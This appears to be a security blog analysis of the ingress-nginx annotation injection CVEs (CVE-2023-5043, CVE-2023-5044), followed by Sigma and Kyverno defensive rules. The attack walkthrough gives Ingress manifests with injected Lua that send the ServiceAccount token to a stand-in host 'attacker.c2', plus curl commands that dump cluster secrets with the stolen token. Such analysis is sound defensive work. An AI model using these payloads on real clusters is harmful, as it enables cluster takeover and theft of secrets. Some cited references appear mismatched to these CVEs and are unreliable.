Kubernetes Ingress-NGINX: Deconstructing Annotation Injection RCE
Overview & Threat Landscape: Ingress-NGINX Annotation Injection (CVE-2023-5043 & CVE-2023-5044)#
Kubernetes Ingress-NGINX CVE-2023-5043 & CVE-2023-5044 allow namespace-to-cluster RCE via annotation injection. Disable snippets and enforce OPA.
In modern cloud-native architectures, the Ingress-NGINX Controller is the most widely deployed ingress proxy across managed Kubernetes services (Amazon EKS, Azure AKS, Google GKE) and on-premises clusters. Functioning as the primary Layer 7 traffic routing engine, Ingress-NGINX dynamically converts Kubernetes Ingress API resources into running OpenResty / Nginx configuration directives.
In late 2023, the Kubernetes Security Response Committee disclosed multiple severe vulnerabilities in ingress-nginx: CVE-2023-5043 and CVE-2023-5044 (rated High, CVSS 7.6, mapped to MITRE ATT&CK T1190: Exploit Public-Facing Application, T1059.004: Unix Shell, and T1552.007: Container API Tokens). These flaws allow an attacker with standard permissions to create or update an Ingress object in an isolated, low-privilege namespace to inject arbitrary Nginx directives and embedded Lua code, achieving arbitrary command execution inside the ingress-nginx-controller pod.
For cloud security architects, Kubernetes administrators, and exploit analysts, this vulnerability chain exposes critical design realities of Kubernetes multi-tenancy:
- The Multi-Tenancy Boundary Collapse: Kubernetes namespaces are intended to provide logical isolation between developer teams, microservices, and untrusted workloads. However, when multiple namespaces share a centralized Ingress controller, the controller operates as a multi-tenant convergence point. A vulnerability in Ingress object parsing converts namespace-scoped privileges (
create/update ingresses in networking.k8s.io) into cluster-wide code execution. - Ambient Access to Cluster-Wide Secrets: To handle TLS termination across all hosted domains, the Ingress-NGINX controller requires broad cluster-level RBAC privileges. In its standard deployment configuration, the controller's ServiceAccount possesses
get,list, andwatchpermissions onsecretsacross all namespaces. Once an attacker executes code inside the controller container, they can access the mounted ServiceAccount token and dump every secret in the cluster—including cluster-admin credentials, database passwords, and cloud IAM tokens. - The Failure of Out-of-the-Box Ingress Validation: Prior to controller version
v1.9.0, Ingress-NGINX trusted annotation content submitted by users. While basic input checks existed, the template engine failed to sanitize code injection vectors in annotations such asnginx.ingress.kubernetes.io/permanent-redirectandnginx.ingress.kubernetes.io/configuration-snippet, allowing shell delimiters and Lua expressions to slip through unvalidated. - The Chroot Architectural Contrast: Kubernetes maintainers introduced a chrooted variant of the controller (
gcr.io/k8s-staging-ingress-nginx/controller-chroot). While chroot containment prevents attackers from reading the root filesystem's mounted/var/run/secrets/kubernetes.io/serviceaccount/token, standard non-chrooted deployments (which represent the vast majority of enterprise production clusters) remain fully vulnerable to total credential extraction.
Any multi-tenant Kubernetes cluster where non-admin users or automated CI/CD service accounts have permissions to create or patch Ingress resources is vulnerable to complete cluster takeover unless --enable-annotation-validation=true is enabled or snippet annotations are strictly disabled.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
Vulnerability & Attack Root-Cause Analysis: Dynamic Template Assembly to Lua Injection#
To understand how CVE-2023-5043 and CVE-2023-5044 operate, we must examine the internal architecture of how ingress-nginx-controller monitors the Kubernetes API server and compiles its runtime configuration.
Ingress-NGINX Controller Architecture: Control Plane to Data Plane#
The Ingress-NGINX controller runs as a Go daemon that embeds OpenResty (Nginx with the LuaJIT runtime):
- Informer Loop: The Go controller watches the Kubernetes API server for create, update, or delete events on
networking.k8s.io/v1 Ingressresources across all monitored namespaces. - Template Data Model: The controller parses Ingress specifications, TLS secrets, and metadata annotations into an internal Go configuration struct.
- Template Rendering: The controller passes this data model to an internal Go template (
nginx.tmpl) that outputs the master/etc/nginx/nginx.conffile. - Configuration Reload: Once generated, the controller validates the syntax via
nginx -tand reloads the Nginx worker processes via signals or the Lua shared memory IPC channel.
[ Developer / Attacker ]
│
▼ (kubectl apply -f malicious-ingress.yaml)
[ Kubernetes API Server ]
│
▼ (Watch / Informer Event)
[ Ingress-NGINX Go Controller ]
│
├── Reads Ingress Annotations:
│ nginx.ingress.kubernetes.io/permanent-redirect
│ nginx.ingress.kubernetes.io/configuration-snippet
│
▼
[ Go Template Engine (nginx.tmpl) ] ──► Injects Unsanitized Annotations
│
▼
[ Generated /etc/nginx/nginx.conf ]
│
▼ (nginx -s reload)
[ OpenResty / LuaJIT Worker Execution ] ──► Arbitrary Command Execution!
Stage 1: CVE-2023-5043 - Configuration Snippet Annotation Injection#
In CVE-2023-5043, the flaw resides in the handling of the nginx.ingress.kubernetes.io/configuration-snippet annotation.
This annotation was designed to allow developers to insert custom Nginx directives into specific location blocks. However, because the Go controller merged the raw string value of configuration-snippet directly into the generated location blocks within nginx.conf without restricting high-risk directives, an attacker could inject arbitrary directives—such as loading external Lua modules, rewriting proxy headers, or invoking the embedded Lua engine:
# Vulnerable snippet injection pattern (CVE-2023-5043)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-snippet-ingress
namespace: development
annotations:
nginx.ingress.kubernetes.io/configuration-snippet: |
access_by_lua_block {
os.execute("cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/token.txt")
}
spec:
rules:
- host: exploit.internal.net
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: dummy-svc
port:
number: 80
When the controller rendered nginx.tmpl, the Lua block was written directly into the location block of nginx.conf. Upon Nginx reloading, OpenResty parsed and executed the Lua code, executing os.execute as the controller user (www-data or root).
Stage 2: CVE-2023-5044 - Code Injection via Permanent-Redirect Annotation#
To mitigate snippet abuse, many platform teams disabled snippet annotations using allow-snippet-annotations: "false" in the controller's ConfigMap. However, CVE-2023-5044 bypassed this restriction entirely by exploiting the nginx.ingress.kubernetes.io/permanent-redirect annotation.
The permanent-redirect annotation allows users to configure HTTP 301/308 redirects. Internally, the template engine processed the redirect target and placed it into a Lua-evaluated routing variable within nginx.conf:
-- Conceptual representation of Lua redirect handler in nginx.conf
local redirect_target = "$service_port" .. "/target_url"
In versions prior to v1.9.0, the Go controller failed to validate the characters passed into permanent-redirect. An attacker could inject shell command delimiters and Lua script terminators directly into the redirect URL:
# Vulnerable permanent-redirect injection pattern (CVE-2023-5044)
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: malicious-redirect-ingress
namespace: tenant-a
annotations:
nginx.ingress.kubernetes.io/permanent-redirect: |
/test;$service_port; os.execute("curl http://attacker.c2/exfil?t=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)")
spec:
rules:
- host: tenant.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: web-service
port:
number: 8080
When the template compiler parsed the annotation, the semicolon and Lua payload broke out of the string context in the generated nginx.conf, injecting executable Lua code that detonated the moment Nginx initialized the location block.
Exploit Architecture: Namespace Isolation Breach to Cluster Takeover#
The following Mermaid sequence diagram illustrates the complete privilege escalation path: from an unprivileged developer creating an Ingress resource to cluster-wide secrets exfiltration.
sequenceDiagram
autonumber
actor Attacker as Compromised Tenant / Dev (Namespace A)
participant APIServer as Kubernetes API Server (:6443)
participant IngressCtrl as Ingress-NGINX Controller Pod
participant NginxEngine as OpenResty / Nginx Engine (:80/443)
participant LocalFS as Controller Pod Filesystem
participant TargetSecrets as Cluster Secrets (All Namespaces)
Note over Attacker,APIServer: Phase 1: Namespace Ingress Deployment
Attacker->>APIServer: kubectl apply Ingress (with malicious permanent-redirect)
APIServer->>APIServer: Validate namespace RBAC (Permitted in Namespace A)
APIServer-->>Attacker: Ingress Created: HTTP 201 Created
Note over APIServer,IngressCtrl: Phase 2: Template Compilation & Injection
APIServer->>IngressCtrl: Push Watch Event: Ingress Created in Namespace A
IngressCtrl->>IngressCtrl: Parse Ingress annotations into Go data model
IngressCtrl->>IngressCtrl: Render nginx.tmpl with unsanitized Lua payload
IngressCtrl->>NginxEngine: Write /etc/nginx/nginx.conf and send SIGHUP reload
Note over NginxEngine,LocalFS: Phase 3: Code Execution & Token Theft
NginxEngine->>NginxEngine: Parse injected Lua block in nginx.conf
NginxEngine->>LocalFS: os.execute reads /var/run/secrets/kubernetes.io/serviceaccount/token
LocalFS-->>NginxEngine: Return Ingress-NGINX ServiceAccount JWT Token
NginxEngine-->>Attacker: Exfiltrate JWT Token via DNS / HTTP Callback
Note over Attacker,TargetSecrets: Phase 4: Cluster Takeover
Attacker->>APIServer: Query API using stolen Ingress-NGINX JWT
APIServer->>APIServer: Check RBAC: Ingress SA has get/list on ALL secrets
APIServer-->>Attacker: Dump cluster-admin tokens, TLS keys, and database secretsAttack Path Step-by-Step: From Ingress Creation to Cluster Secrets Exfiltration#
Let us examine the concrete technical steps executed by an adversary to weaponize CVE-2023-5044 inside a multi-tenant Kubernetes cluster.
Step 1: Enumerating Namespace Ingress Permissions#
The attacker verifies their RBAC permissions inside their assigned developer namespace (tenant-sandbox):
# Verify permissions to create Ingress resources in current namespace
kubectl auth can-i create ingresses.networking.k8s.io -n tenant-sandbox
# Output: yes
kubectl auth can-i get secrets -n kube-system
# Output: no (Standard namespace isolation in place)
Step 2: Deploying the Poisoned Ingress Manifest#
The attacker constructs and applies an Ingress resource containing the malicious permanent-redirect payload. The payload injects a Lua script that extracts the mounted ServiceAccount token and sends it to an attacker-controlled endpoint:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
namespace: tenant-sandbox
annotations:
nginx.ingress.kubernetes.io/permanent-redirect: |
/test;$service_port; io.popen("TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -k -X POST -d "$TOKEN" https://attacker.c2/collect"):read("*a")
spec:
ingressClassName: nginx
rules:
- host: sandbox.company.internal
http:
paths:
- path: /api
pathType: Prefix
backend:
service:
name: internal-app
port:
number: 80
The attacker applies the manifest:
kubectl apply -f ingress-exploit.yaml -n tenant-sandbox
Step 3: Triggering Template Compilation in the Controller#
The Ingress-NGINX controller detects the new Ingress resource, evaluates the template, and generates /etc/nginx/nginx.conf. The injected Lua expression executes within the OpenResty worker process, reading /var/run/secrets/kubernetes.io/serviceaccount/token.
Step 4: Exfiltrating Cluster Secrets via Kubernetes API#
Now in possession of the ingress-nginx ServiceAccount token, the attacker queries the Kubernetes API server from outside or inside the cluster:
# Authenticate to the Kubernetes API server using the stolen controller token
K8S_API="https://kubernetes.default.svc"
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6Ik1p..."
# List secrets across all namespaces (exploiting controller cluster-wide RBAC)
curl -s -k -H "Authorization: Bearer $TOKEN" "$K8S_API/api/v1/secrets" | jq '.items[] | {name: .metadata.name, namespace: .metadata.namespace}'
# Dump cluster-admin tokens or sensitive database credentials
curl -s -k -H "Authorization: Bearer $TOKEN" "$K8S_API/api/v1/namespaces/kube-system/secrets" | jq .
The attacker has broken out of the tenant-sandbox namespace isolation and compromised the entire Kubernetes cluster control plane.
Fast Cyber Defense Morning Takeaways: Ingress Admission Gating & Blast Radius Containment#
Defending multi-tenant Kubernetes clusters against Ingress annotation injection requires enforcing strict admission controls and minimizing controller RBAC blast radiuses.
1. Production Sigma Rule: Ingress-NGINX Controller Unauthorized Shell Spawn#
The following production Sigma rule monitors Kubernetes container runtime process telemetry (Auditd, Falco, Sysmon for Linux) to detect shell execution originating inside the Ingress-NGINX controller:
title: Suspicious Process Spawned by Kubernetes Ingress-NGINX Controller
id: e8a2b1c4-9f3d-4e5a-8b1c-7d0e9a5b3c21
status: production
description: Detects command execution shells and network utilities spawned as child processes of the Ingress-NGINX controller, indicative of CVE-2023-5043 or CVE-2023-5044 exploitation.
references:
- https://github.com/kubernetes/kubernetes/issues/126817
- https://kubernetes.io/docs/reference/issues-security/official-cve-feed/
tags:
- attack.execution
- attack.t1059.004
- attack.t1190
- attack.t1552.007
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/nginx-ingress-controller'
- '/nginx'
selection_child:
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
- '/curl'
- '/wget'
- '/nc'
- '/ncat'
- '/python'
- '/python3'
selection_cmdline:
CommandLine|contains:
- '/var/run/secrets/kubernetes.io/serviceaccount'
- 'token'
- 'curl'
- 'wget'
condition: selection_parent and (selection_child or selection_cmdline)
falsepositives:
- Controller healthcheck probes or lifecycle preStop scripts (verify command arguments and parent PID).
level: critical
2. Kyverno ClusterPolicy: Blocking Unvalidated Ingress Annotations#
Blue teams can deploy the following Kyverno policy to intercept and block any Ingress resource attempting to declare configuration-snippet or suspicious characters in redirect annotations:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-ingress-annotation-injection
annotations:
policies.kyverno.io/title: Block Ingress-NGINX Annotation Injection
policies.kyverno.io/category: Multi-Tenancy Security
policies.kyverno.io/description: Blocks high-risk Ingress annotations associated with CVE-2023-5043 and CVE-2023-5044.
spec:
validationFailureAction: Enforce
background: true
rules:
- name: block-configuration-snippet
match:
any:
- resources:
kinds:
- Ingress
validate:
message: "The 'nginx.ingress.kubernetes.io/configuration-snippet' annotation is blocked for security reasons."
pattern:
metadata:
=(annotations):
X(nginx.ingress.kubernetes.io/configuration-snippet): "*?"
- name: block-malicious-redirect
match:
any:
- resources:
kinds:
- Ingress
validate:
message: "Dangerous characters (; or quotes) detected in Ingress redirect annotations."
deny:
conditions:
any:
- key: "{{ request.object.metadata.annotations."nginx.ingress.kubernetes.io/permanent-redirect" || '' }}"
operator: AnyIn
value: ["*;*", "*"*", "*'*", "*io.popen*", "*os.execute*"]
Executive Takeaway Table: Kubernetes Ingress-NGINX Attack & Mitigation Matrix#
| Attack Phase & Dimension | Vulnerability Root Cause | Critical Blue Team Detection Signal | Primary Defensive Mitigation |
|---|---|---|---|
| Snippet Injection (CVE-2023-5043) | Ingress template embeds raw string from configuration-snippet |
API server audit logs show Ingress creation with configuration-snippet |
Set allow-snippet-annotations: "false" in Ingress-NGINX ConfigMap |
| Redirect Injection (CVE-2023-5044) | Missing character sanitization in permanent-redirect Lua variable |
Ingress annotations containing ;, quotes, or os.execute |
Upgrade to ingress-nginx >= 1.9.0; enable --enable-annotation-validation=true |
| ServiceAccount Token Theft | Controller pod mounts unchrooted ServiceAccount with cluster-wide read | Process tree shows nginx reading /var/run/secrets/kubernetes.io/ |
Deploy chrooted Ingress controller (controller-chroot); restrict secret RBAC |
| Cluster Secrets Exfiltration | Controller ServiceAccount possesses get/list/watch on all Secrets |
API audit logs show Ingress SA querying /api/v1/secrets across namespaces |
Scope Ingress controller to single namespace or use Gateway API |
Authoritative References & Further Reading#
- Kubernetes Official Security Advisory: Issue #126817 (CVE-2023-5044)
- Kubernetes Official CVE Feed: Ingress-NGINX Vulnerabilities
- ARMO Security Research: 3 New NGINX Ingress Controller Kubernetes Related Vulnerabilities
- Datadog Security Labs: The IngressNightmare Vulnerabilities Overview and Remediation
- Snyk Vulnerability Database: Ingress-NGINX Code Injection (CVE-2023-5044)
Comments
Post a Comment